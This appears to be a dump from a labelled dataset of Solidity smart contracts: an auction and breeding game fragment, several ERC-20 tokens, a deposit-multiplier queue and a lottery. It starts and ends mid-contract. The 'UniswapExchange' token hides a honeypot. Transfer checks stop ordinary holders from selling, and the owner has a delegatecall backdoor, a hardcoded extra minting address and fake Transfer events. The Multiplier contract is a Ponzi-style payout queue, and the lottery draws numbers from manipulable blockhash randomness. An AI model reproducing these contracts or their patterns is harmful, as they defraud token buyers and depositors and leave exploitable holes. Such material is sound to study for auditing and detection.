_tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable whenNotPaused { _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } contract SiringClockAuction is ClockAuction { bool public isSiringClockAuction = true; function SiringClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; _bid(_tokenId, msg.value); _transfer(seller, _tokenId); } } contract SaleClockAuction is ClockAuction { bool public isSaleClockAuction = true; uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable { address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); if (seller == address(nonFungibleContract)) { lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } contract NinjaAuction is NinjaBreeding { function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); require(candidateContract.isSaleClockAuction()); saleAuction = candidateContract; } function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); require(candidateContract.isSiringClockAuction()); siringAuction = candidateContract; } function createSaleAuction( uint256 _ninjaId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { require(_owns(msg.sender, _ninjaId)); require(!isPregnant(_ninjaId)); _approve(_ninjaId, saleAuction); saleAuction.createAuction( _ninjaId, _startingPrice, _endingPrice, _duration, msg.sender ); } function createSiringAuction( uint256 _ninjaId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { require(_owns(msg.sender, _ninjaId)); require(isReadyToBreed(_ninjaId)); _approve(_ninjaId, siringAuction); siringAuction.createAuction( _ninjaId, _startingPrice, _endingPrice, _duration, msg.sender ); } function bidOnSiringAuction( uint256 _sireId, uint256 _matronId ) external payable whenNotPaused { require(_owns(msg.sender, _matronId)); require(isReadyToBreed(_matronId)); require(_canBreedWithViaAuction(_matronId, _sireId)); uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= currentPrice + autoBirthFee); siringAuction.bid.value(msg.value - autoBirthFee)(_sireId); _breedWith(uint32(_matronId), uint32(_sireId)); } function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); siringAuction.withdrawBalance(); } } contract NinjaMinting is NinjaAuction { uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 45000; uint256 public constant GEN0_STARTING_PRICE = 10 finney; uint256 public constant GEN0_AUCTION_DURATION = 1 days; uint256 public promoCreatedCount; uint256 public gen0CreatedCount; function createPromoNinja(uint256 _genes, address _owner) external onlyCOO { address ninjaOwner = _owner; if (ninjaOwner == address(0)) { ninjaOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createNinja(0, 0, 0, _genes, ninjaOwner); } function createGen0Auction(uint256 _genes) external onlyCOO { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 ninjaId = _createNinja(0, 0, 0, _genes, address(this)); _approve(ninjaId, saleAuction); saleAuction.createAuction( ninjaId, _computeNextGen0Price(), 0, GEN0_AUCTION_DURATION, address(this) ); gen0CreatedCount++; } function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } } contract NinjaCore is NinjaMinting { address public newContractAddress; function NinjaCore() public { paused = true; ceoAddress = msg.sender; cooAddress = msg.sender; _createNinja(0, 0, 0, uint256(-1), msg.sender); } function setNewAddress(address _v2Address) external onlyCEO whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(siringAuction) ); } function getNinja(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes ) { require(ninjaIndexToOwner[_id] != address(0)); Ninja storage ninja = ninjas[_id]; isGestating = (ninja.siringWithId != 0); isReady = (ninja.cooldownEndBlock <= block.number); cooldownIndex = uint256(ninja.cooldownIndex); nextActionAt = uint256(ninja.cooldownEndBlock); siringWithId = uint256(ninja.siringWithId); birthTime = uint256(ninja.birthTime); matronId = uint256(ninja.matronId); sireId = uint256(ninja.sireId); generation = uint256(ninja.generation); genes = ninja.genes; } function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(siringAuction != address(0)); require(geneScience != address(0)); require(newContractAddress == address(0)); super.unpause(); } function withdrawBalance() external onlyCFO { uint256 balance = this.balance; uint256 subtractFees = (pregnantNinjas + 1) * autoBirthFee; if (balance > subtractFees) { cfoAddress.send(balance - subtractFees); } } function destroyNinja(uint256 _ninjaId) external onlyCEO { require(locks[_ninjaId] == 0); _destroyNinja(_ninjaId); } }
0
2,047
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,558
pragma solidity ^0.4.25; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 10000000000; uint256 public buyPrice = 1; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'BitAlly Token', 'BITT') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } }
0
1,082
pragma solidity ^0.4.25; contract Multiplier { address constant private PROMO = 0x828cAF65a1c46C2982022f312a7318c414F11F16; uint constant public PROMO_PERCENT = 15; uint constant public MULTIPLIER = 150; struct Deposit { address depositor; uint128 deposit; uint128 expect; } Deposit[] private queue; uint public currentReceiverIndex = 0; function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value <= 0.1 ether); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); uint promo = msg.value*PROMO_PERCENT/100; PROMO.send(promo); pay(); } } function pay() private { uint128 money = uint128(address(this).balance); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
0
474
pragma solidity ^0.5.1; contract SmartLotto { using SafeMath for uint; uint private constant DAY_IN_SECONDS = 86400; struct Member { address payable addr; uint ticket; uint8[5] numbers; uint8 matchNumbers; uint prize; } struct Game { uint datetime; uint8[5] win_numbers; uint membersCounter; uint totalFund; uint8 status; mapping(uint => Member) members; } mapping(uint => Game) public games; uint private CONTRACT_STARTED_DATE = 0; uint private constant TICKET_PRICE = 0.01 ether; uint private constant MAX_NUMBER = 36; uint private constant PERCENT_FUND_JACKPOT = 15; uint private constant PERCENT_FUND_4 = 35; uint private constant PERCENT_FUND_3 = 30; uint private constant PERCENT_FUND_2 = 20; uint public JACKPOT = 0; uint public GAME_NUM = 0; uint private constant return_jackpot_period = 25 weeks; uint private start_jackpot_amount = 0; uint private constant PERCENT_FUND_PR = 12; uint private FUND_PR = 0; address payable private constant ADDRESS_SERVICE = 0xa01d5284C84C0e1Db294C3690Eb49234dE775e78; address payable private constant ADDRESS_START_JACKPOT = 0xa42b3D62471E3e9Cc502d3ef65857deb04032613; address payable private constant ADDRESS_PR = 0x173Ff9be87F1D282B7377d443Aa5C12842266BD3; event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5); event NewGame(uint _gamenum); event UpdateFund(uint _fund); event UpdateJackpot(uint _jackpot); event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5); event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match); function() external payable { if(msg.sender == ADDRESS_START_JACKPOT) { processStartingJackpot(); } else { if(msg.sender == ADDRESS_SERVICE) { startGame(); } else { processUserTicket(); } } } function processStartingJackpot() private { if(msg.value > 0) { JACKPOT += msg.value; start_jackpot_amount += msg.value; emit UpdateJackpot(JACKPOT); } else { if(start_jackpot_amount > 0){ _returnStartJackpot(); } } } function _returnStartJackpot() private { if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) { if(JACKPOT > start_jackpot_amount) { ADDRESS_START_JACKPOT.transfer(start_jackpot_amount); JACKPOT = JACKPOT - start_jackpot_amount; start_jackpot_amount = 0; } else { ADDRESS_START_JACKPOT.transfer(JACKPOT); start_jackpot_amount = 0; JACKPOT = 0; } emit UpdateJackpot(JACKPOT); } } function startGame() private { uint8 weekday = getWeekday(now); uint8 hour = getHour(now); if(GAME_NUM == 0) { GAME_NUM = 1; games[GAME_NUM].datetime = now; games[GAME_NUM].status = 1; CONTRACT_STARTED_DATE = now; } else { if(weekday == 7 && hour == 9) { if(games[GAME_NUM].status == 1) { processGame(); } } else { games[GAME_NUM].status = 1; } } } function processGame() private { uint8 mn = 0; uint winners5 = 0; uint winners4 = 0; uint winners3 = 0; uint winners2 = 0; uint fund4 = 0; uint fund3 = 0; uint fund2 = 0; for(uint8 i = 0; i < 5; i++) { games[GAME_NUM].win_numbers[i] = random(i); } games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers); for(uint8 i = 0; i < 4; i++) { for(uint8 j = i+1; j < 5; j++) { if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) { games[GAME_NUM].win_numbers[j]++; } } } uint8[5] memory win_numbers; win_numbers = games[GAME_NUM].win_numbers; emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]); if(games[GAME_NUM].membersCounter > 0) { for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) { mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers); games[GAME_NUM].members[i].matchNumbers = mn; if(mn == 5) { winners5++; } if(mn == 4) { winners4++; } if(mn == 3) { winners3++; } if(mn == 2) { winners2++; } } JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100; fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100; fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100; fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100; if(winners4 == 0) { JACKPOT = JACKPOT + fund4; } if(winners3 == 0) { JACKPOT = JACKPOT + fund3; } if(winners2 == 0) { JACKPOT = JACKPOT + fund2; } for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) { if(games[GAME_NUM].members[i].matchNumbers == 5) { games[GAME_NUM].members[i].prize = JACKPOT / winners5; games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize); emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5); } if(games[GAME_NUM].members[i].matchNumbers == 4) { games[GAME_NUM].members[i].prize = fund4 / winners4; games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize); emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4); } if(games[GAME_NUM].members[i].matchNumbers == 3) { games[GAME_NUM].members[i].prize = fund3 / winners3; games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize); emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3); } if(games[GAME_NUM].members[i].matchNumbers == 2) { games[GAME_NUM].members[i].prize = fund2 / winners2; games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize); emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2); } if(games[GAME_NUM].members[i].matchNumbers == 1) { emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1); } } if(winners5 != 0) { JACKPOT = 0; start_jackpot_amount = 0; } } emit UpdateJackpot(JACKPOT); GAME_NUM++; games[GAME_NUM].datetime = now; games[GAME_NUM].status = 0; emit NewGame(GAME_NUM); ADDRESS_PR.transfer(FUND_PR); FUND_PR = 0; } function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) { uint8 cnt = 0; for(uint8 i = 0; i < 5; i++) { for(uint8 j = 0; j < 5; j++) { if(arr1[i] == arr2[j]) { cnt++; break; } } } return cnt; } function processUserTicket() private { uint8 weekday = getWeekday(now); uint8 hour = getHour(now); if( GAME_NUM > 0 && (weekday != 7 || (weekday == 7 && (hour < 8 || hour > 11 ))) ) { if(msg.value == TICKET_PRICE) { createTicket(); } else { if(msg.value < TICKET_PRICE) { FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100); games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100); emit UpdateFund(games[GAME_NUM].totalFund); } else { msg.sender.transfer(msg.value.sub(TICKET_PRICE)); createTicket(); } } } else { msg.sender.transfer(msg.value); } } function createTicket() private { bool err = false; uint8[5] memory numbers; FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100); games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100); emit UpdateFund(games[GAME_NUM].totalFund); (err, numbers) = ParseCheckData(); uint mbrCnt; if(!err) { numbers = sortNumbers(numbers); games[GAME_NUM].membersCounter++; mbrCnt = games[GAME_NUM].membersCounter; games[GAME_NUM].members[mbrCnt].addr = msg.sender; games[GAME_NUM].members[mbrCnt].ticket = mbrCnt; games[GAME_NUM].members[mbrCnt].numbers = numbers; games[GAME_NUM].members[mbrCnt].matchNumbers = 0; emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]); } } function ParseCheckData() private view returns (bool, uint8[5] memory) { bool err = false; uint8[5] memory numbers; if(msg.data.length == 5) { for(uint8 i = 0; i < msg.data.length; i++) { numbers[i] = uint8(msg.data[i]); } for(uint8 i = 0; i < numbers.length; i++) { if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) { err = true; break; } } if(!err) { for(uint8 i = 0; i < numbers.length-1; i++) { for(uint8 j = i+1; j < numbers.length; j++) { if(numbers[i] == numbers[j]) { err = true; break; } } if(err) { break; } } } } else { err = true; } return (err, numbers); } function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) { uint8 temp; for(uint8 i = 0; i < arrNumbers.length - 1; i++) { for(uint j = 0; j < arrNumbers.length - i - 1; j++) if (arrNumbers[j] > arrNumbers[j + 1]) { temp = arrNumbers[j]; arrNumbers[j] = arrNumbers[j + 1]; arrNumbers[j + 1] = temp; } } return arrNumbers; } function getBalance() public view returns(uint) { uint balance = address(this).balance; return balance; } function random(uint8 num) internal view returns (uint8) { return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1); } function getHour(uint timestamp) private pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getWeekday(uint timestamp) private pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) { Game memory game = games[i]; return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status); } function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) { Member memory mbr = games[i].members[j]; return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == 